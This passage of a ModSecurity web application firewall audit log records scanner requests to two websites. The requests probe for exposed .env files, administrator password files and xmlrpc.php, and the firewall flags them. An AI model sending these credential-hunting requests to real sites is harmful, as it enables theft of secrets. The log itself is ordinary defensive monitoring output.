"210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/test/.env"] [unique_id "aE8r_wmPiipnjM18nBT0hAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019071605000 683833 (- - -) Stopwatch2: 1750019071605000 683833; combined=1866, p1=364, p2=1403, p3=0, p4=0, p5=98, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0828be0f-Z-- --f8eab349-A-- [16/Jun/2025:01:54:40.194872 +0530] aE8sBz3D4g1mGjVnV5KNMgAAAAY 128.199.112.101 35488 127.0.0.1 7081 --f8eab349-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f8eab349-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f8eab349-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8sBz3D4g1mGjVnV5KNMgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019079170423 1024523 (- - -) Stopwatch2: 1750019079170423 1024523; combined=2587, p1=420, p2=1744, p3=49, p4=69, p5=188, sr=116, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8eab349-Z-- --ed9e540a-A-- [16/Jun/2025:01:54:40.565136 +0530] aE8sB14QpUmzcAFMV3bVugAAAAI 185.177.72.210 55226 127.0.0.1 7081 --ed9e540a-B-- GET /google/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed9e540a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25088edbeac46640eef47fd66ba06df51750019080; expires=Sun, 15 Jun 2025 21:24:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed9e540a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/google/.env"] [unique_id "aE8sB14QpUmzcAFMV3bVugAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019079912846 652372 (- - -) Stopwatch2: 1750019079912846 652372; combined=1869, p1=392, p2=1376, p3=0, p4=0, p5=100, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed9e540a-Z-- --9666c26d-A-- [16/Jun/2025:01:54:44.341154 +0530] aE8sC0aRoH9PZO5fwRngEQAAAAw 185.177.72.210 55350 127.0.0.1 7081 --9666c26d-B-- GET /_vti_pvt/administrator.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9666c26d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0289091f083646b2e2c83b3b5477d2fd1750019084; expires=Sun, 15 Jun 2025 21:24:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9666c26d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_pvt/administrator.pwd"] [unique_id "aE8sC0aRoH9PZO5fwRngEQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019083680588 660640 (- - -) Stopwatch2: 1750019083680588 660640; combined=1715, p1=288, p2=1336, p3=0, p4=0, p5=90, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9666c26d-Z-- --4884374c-A-- [16/Jun/2025:01:55:00.306480 +0530] aE8sGzZWrQ9Ly--lMo__fQAAAAE 185.177.72.210 52826 127.0.0.1 7081 --4884374c-B-- GET /:10000/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4884374c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2dd18c788d2fa97dc457de880518f77d1750019100; expires=Sun, 15 Jun 2025 21:25:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4884374c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/frontend/.env"] [unique_id "aE8sGzZWrQ9Ly--lMo__fQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019099630864 675696 (- - -) Stopwatch2: 1750019099630864 675696; combined=2414, p1=469, p2=1835, p3=0, p4=0, p5=109, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4884374c-Z-- --846bb840-A-- [16/Jun/2025:01:55:04.505402 +0530] aE8sHz3D4g1mGjVnV5KNPgAAAAY 185.177.72.210 53022 127.0.0.1 7081 --846bb840-B-- GET /:5000/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --846bb840-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6f20cb81b3019bea05a99c1b98f45e0d1750019104; expires=Sun, 15 Jun 2025 21:25:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --846bb840-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.backup"] [unique_id "aE8sHz3D4g1mGjVnV5KNPgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.backup"] [unique_id "aE8sHz3D4g1mGjVnV5KNPgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019103815005 690484 (- - -) Stopwatch2: 1750019103815005 690484; combined=2135, p1=407, p2=1582, p3=0, p4=0, p5=146, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --846bb840-Z-- --e296fe59-A-- [16/Jun/2025:01:55:05.539765 +0530] aE8sIBQKR3lSdoPAzimBXwAAAAk 185.177.72.210 53092 127.0.0.1 7081 --e296fe59-B-- GET /:8080/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e296fe59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a4ca49cea06cbddc7f1ac44df04efdf1750019105; expires=Sun, 15 Jun 2025 21:25:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e296fe59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/apps/.env"] [unique_id "aE8sIBQKR3lSdoPAzimBXwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019104854449 685392 (- - -) Stopwatch2: 1750019104854449 685392; combined=2113, p1=424, p2=1577, p3=0, p4=0, p5=111, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e296fe59-Z-- --e1a0c408-A-- [16/Jun/2025:01:55:40.350006 +0530] aE8sQ7SOi14Mt1Fv4_TC2AAAAAo 128.199.112.101 44572 127.0.0.1 7081 --e1a0c408-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e1a0c408-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e1a0c408-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8sQ7SOi14Mt1Fv4_TC2AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019139426023 924039 (- - -) Stopwatch2: 1750019139426023 924039; combined=2966, p1=412, p2=2126, p3=61, p4=69, p5=181, sr=101, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1a0c408-Z-- --ea198b7e-A-- [16/Jun/2025:01:56:02.525083 +0530] aE8sWT3D4g1mGjVnV5KNVgAAAAY 185.177.72.210 41652 127.0.0.1 7081 --ea198b7e-B-- GET /secure/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea198b7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b0b13d4f1c396d40d10fdcc00c4a99a1750019162; expires=Sun, 15 Jun 2025 21:26:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea198b7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/private/.env"] [unique_id "aE8sWT3D4g1mGjVnV5KNVgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019161783217 741942 (- - -) Stopwatch2: 1750019161783217 741942; combined=2354, p1=418, p2=1836, p3=0, p4=0, p5=99, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea198b7e-Z-- --52420f53-A-- [16/Jun/2025:01:56:03.550472 +0530] aE8sWhQKR3lSdoPAzimBdgAAAAk 185.177.72.210 41668 127.0.0.1 7081 --52420f53-B-- GET /:8443/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52420f53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9286841f5a142252ee5f77d14d116771750019163; expires=Sun, 15 Jun 2025 21:26:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52420f53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.docker/.env"] [unique_id "aE8sWhQKR3lSdoPAzimBdgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019162847895 702661 (- - -) Stopwatch2: 1750019162847895 702661; combined=1725, p1=365, p2=1229, p3=0, p4=0, p5=131, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52420f53-Z-- --d6e39a39-A-- [16/Jun/2025:01:56:04.589673 +0530] aE8sWzZWrQ9Ly--lMo__mQAAAAE 185.177.72.210 41716 127.0.0.1 7081 --d6e39a39-B-- GET /iisadmpwd/anot.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6e39a39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=39b9f13ee9965a93b70cd3df8a9168191750019164; expires=Sun, 15 Jun 2025 21:26:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6e39a39-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/anot.htr"] [unique_id "aE8sWzZWrQ9Ly--lMo__mQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019163873541 716196 (- - -) Stopwatch2: 1750019163873541 716196; combined=2285, p1=473, p2=1677, p3=0, p4=0, p5=134, sr=148, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6e39a39-Z-- --5e834e45-A-- [16/Jun/2025:01:56:41.019172 +0530] aE8sgEaRoH9PZO5fwRngQQAAAAw 128.199.112.101 33502 127.0.0.1 7081 --5e834e45-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5e834e45-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5e834e45-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8sgEaRoH9PZO5fwRngQQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019200087339 931888 (- - -) Stopwatch2: 1750019200087339 931888; combined=2071, p1=374, p2=1392, p3=32, p4=46, p5=143, sr=106, sw=84, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e834e45-Z-- --dbabd005-A-- [16/Jun/2025:01:57:01.203385 +0530] aE8slIfvqn7_SDWw_wX81gAAAAc 185.177.72.210 46460 127.0.0.1 7081 --dbabd005-B-- GET /courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dbabd005-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cb0a07c9df02fbfb0280d7eeec574aee1750019221; expires=Sun, 15 Jun 2025 21:27:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dbabd005-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/courrier/.env"] [unique_id "aE8slIfvqn7_SDWw_wX81gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019220551017 652432 (- - -) Stopwatch2: 1750019220551017 652432; combined=1726, p1=386, p2=1177, p3=0, p4=0, p5=162, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dbabd005-Z-- --5f3f966e-A-- [16/Jun/2025:01:57:17.248623 +0530] aE8spAmPiipnjM18nBT0zAAAAAs 185.177.72.210 58108 127.0.0.1 7081 --5f3f966e-B-- GET /:10000/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f3f966e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fd6b68ab62ecfba850c082c0dd27e0701750019237; expires=Sun, 15 Jun 2025 21:27:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f3f966e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 